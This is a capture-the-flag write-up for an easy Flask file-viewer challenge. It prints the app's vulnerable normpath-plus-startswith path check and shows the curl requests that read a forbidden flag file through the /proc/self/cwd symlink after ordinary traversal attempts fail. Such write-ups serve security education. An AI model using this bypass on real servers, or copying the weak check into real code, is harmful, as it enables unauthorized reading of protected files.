Просмотр файлов (File Viewing)
Просмотр файлов (File Viewing)
Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Easy | OS: N/A | **Author: XESXOR Techniques: normpath_startswith_bypass, procfs_cwd_symlink_bypass, source_code_analysis
Summary
Walkthrough of the CUSTOM Web Просмотр файлов (File Viewing). Task: Flask app with /read?file= endpoint blocks access to /app/forbidden/ via os.path.normpath() + startswith() check. Solution: bypass using /proc/self/cwd symlink which resolves to /app at OS level
Description
Нужно прочитать содержимое файла, который находится в запрещенной папке.
English summary: A web application has a file reading endpoint. The goal is to read a flag file located in a forbidden directory that the application explicitly blocks access to.
Analysis
The target is a Flask/Werkzeug (Python 3.9) web application at http://31.207.77.216:4013/ with a file reading endpoint at /read?file=<path>.
The main page displays the file structure:
/app/
├── app.py
├── forbidden/
│ └── flag.txt 🚫 FORBIDDEN
└── allowed/
└── fake_flag.txt ✅ ALLOWED
Reading the source code via /read?file=/app/app.py revealed the filtering logic:
python read-only • copy allowedfrom flask import Flask, request, send_file, abort import os app = Flask(__name__) BASE_DIR = "/app" FORBIDDEN_PATH = "/app/forbidden" ALLOWED_PATH = "/app/allowed" def normalize_path(user_path): if not user_path or user_path.strip() == "": return ALLOWED_PATH path = user_path.strip() absolute_path = os.path.normpath(path) if absolute_path.startswith(FORBIDDEN_PATH): abort(403, "Access denied: " + absolute_path) return absolute_path @app.route('/read') def read_file(): file_path = request.args.get('file', '') try: absolute_path = normalize_path(file_path) if not os.path.isfile(absolute_path): return f"Error: '{file_path}' doesn't exist", 404 return send_file(absolute_path) except Exception as e: return f"Error: {str(e)}", 500
The vulnerability is in the path validation logic:
os.path.normpath()performs textual normalization only — it resolves.and..components but does NOT resolve symlinks- The
startswith("/app/forbidden")check compares against the textually normalized path - On Linux,
/proc/self/cwdis a procfs symlink pointing to the current working directory of the process (/appfor this Flask app)
So the path /proc/self/cwd/forbidden/flag.txt:
- After
os.path.normpath()→ stays as/proc/self/cwd/forbidden/flag.txt(no.or..to resolve) - Does NOT start with
/app/forbidden→ passes the check - At the OS level, the kernel resolves the symlink to
/app/forbidden/flag.txt→ reads the forbidden file
Solution
Failed attempts
Standard path traversal techniques are defeated by os.path.normpath():
bash read-only • copy allowed# Direct access — blocked by startswith check curl "http://31.207.77.216:4013/read?file=/app/forbidden/flag.txt" # → Error: 403 Forbidden: Access denied: /app/forbidden/flag.txt # Dot-slash — normalized to /app/forbidden/flag.txt → blocked curl "http://31.207.77.216:4013/read?file=/app/./forbidden/flag.txt" # → Error: 403 Forbidden: Access denied: /app/forbidden/flag.txt # Parent directory traversal — normalized to /app/forbidden/flag.txt → blocked curl "http://31.207.77.216:4013/read?file=/app/allowed/../forbidden/flag.txt" # → Error: 403 Forbidden: Access denied: /app/forbidden/flag.txt
Successful bypass via /proc/self/cwd
bash read-only • copy allowedcurl "http://31.207.77.216:4013/read?file=/proc/self/cwd/forbidden/flag.txt" # → BugCTF{REDACTED}
The /proc/self/cwd symlink resolves to /app (the Flask process working directory), so the kernel reads /app/forbidden/flag.txt while the Python-level check only sees the /proc/self/cwd/... prefix.
Key Takeaways / Lessons
- Mastering normpath_startswith_bypass, procfs_cwd_symlink_bypass, source_code_analysis was key to this challenge.
- Always check for common misconfigurations and verify assumptions.
Crafted by XESXOR Research • 2026-05-25 • CUSTOM • Просмотр файлов (File Viewing) • Difficulty: Easy